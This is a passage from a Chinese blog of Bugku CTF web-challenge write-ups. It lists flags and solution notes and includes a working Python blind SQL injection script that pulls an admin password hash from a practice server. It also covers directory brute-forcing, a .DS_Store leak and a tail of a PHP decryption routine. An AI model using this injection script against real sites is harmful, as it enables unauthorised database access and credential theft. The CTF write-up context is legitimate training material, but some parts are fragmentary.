        $char .= $mkey[$x];  // 从 key 中取二次加密用 key
        $x+=1;
    }
    $md_data = array();
    for($i=0;$i<$md_len;$i++) { // 取偏移后密文数据
        array_push($md_data, ord($tmp[$i]));
    }
    $md_data_source = array();
    $data1 = "";
    $data2 = "";
    foreach ($md_data as $key => $value) { // 对偏移后的密文数据进行还原
        $i = $key;
        if($i >= strlen($mkey)) {$i = $i - strlen($mkey);}
        $dd = $value;
        $od = ord($mkey[$i]);
        array_push($md_data_source,$dd);
        $data1 .= chr(($dd+128)-$od);  // 第一种可能, 余数+128-key 为回归数
        $data2 .= chr($dd-$od);  // 第二种可能, 余数直接-key 为回归数
    }
    print "data1 => ".$data1."<br>\n";
    print "data2 => ".$data2."<br>\n";
}
$str = "fR4aHWwuFCYYVydFRxMqHhhCKBseH1dbFygrRxIWJ1UYFhotFjA=";
decrypt($str);
?>

flag格式也是醉了。。。。
Flag:{asdqwdfasfdawfefqwdqwdadwqadawd}

41文件包含2

这题看url就好像是文件包含,直接用php://filter读取下源代码

但是
直接用御剑爆一下发现一个upload

打开后发现flag.php,打开

SKCTF{uP104D_1nclud3_426fh8_is_Fun}

42.flag.php

http://123.206.87.240:8002/flagphp/
题干:点了login咋没反应
提示:hint

https://findneo.github.io/180406BugkuWriteup/#flag-php

flag{unserialize_by_virink}

43 sql注入2

说是注入,结果死活没找到注入点,最后没办法了,扫一下目录文件,发现DS_Store源码泄露,
然后把源码搞了下来,最后直接访问
http://120.24.86.145:8007/web2/flag

就有flag了,flag:
flag{sql_iNJEct_comMon3600!}

44.孙xx的博客

http://123.206.87.240:2014/

45.Trim的日记本

hints:不要一次就放弃
还是尽快放弃的好。。。。。
我登录的注入很弱耶,御剑扫描一下,得到一个http://123.206.87.240:9002/show.php。
访问此网页,flag就有了,为什么是200分。。。

来自 https://blog.csdn.net/zz_Caleb/article/details/88949693

flag1:{0/m9o9PDtcSyu7Tt}

46.login2(SKCTF)

http://123.206.31.85:49165/
SKCTF{xxxxxxxxxxxxxxxxxxxxx}
hint:union,命令执行

SKCTF{Uni0n_@nd_c0mM4nD_exEc}

来自 https://blog.csdn.net/zazazrt/article/details/87655154

47login3(SKCTF)

http://123.206.31.85:49167/
flag格式:SKCTF{xxxxxxxxxxxxx}
hint:基于布尔的SQL盲注
参考 http://www.zjzhhb.com/archives/286
题目提示了基于bool的盲注,然后fuzz一发发现过滤空格,用括号绕过,过滤了=,用<>饶过。

直接上脚本

import requests
import string
import hashlib
import re
url='http://123.206.31.85:49167/'
sss=string.digits+string.lowercase
answer=''
for i in range(1,50):
    flag=0
    for j in sss:
        postuser="'^(select(ascii(mid((select(password)from(admin))from(%d)))<>%d))^1#"%(i,ord(j))
        data = {'username':postuser,'password':'admin'}
        html = requests.post(url,data=data) .text
        html = re.findall(r"<p align='center'>(.*?)</p>",html,re.S)[0]
        if 'username does not exist!' in html :
            answer+=j
            flag=1
            print answer
            break
    if flag ==0 :
        break
 
print 'password is ',answer

结果得到密码的md5值
51b7a76d51e70b419f60d3473fb6f900,
做md5解密 https://www.somd5.com/

得到admin的密码:skctf123456
返回登陆
http://123.206.31.85:49167/index.php

即flag为:
SKCTF{b1iNd_SQL_iNJEcti0n!}

50.login4

http://123.206.31.85:49168/
flag格式:SKCTF{xxxxxxxxxxxxxxxx}
hint:CBC字节翻转攻击

参考
https://blog.csdn.net/zpy1998zpy/article/details/80684485

https://www.jianshu.com/p/a61756e54f4f

Flag

SKCTF{CBC_wEB_cryptography_6646dfgdg6}
然后在Positions中点击clear清除burp认为需要猜测的密码,
然后选中12345(也就是我们刚才输入的密码,点击add)

  • 7
    点赞
  • 30
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

北观止

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值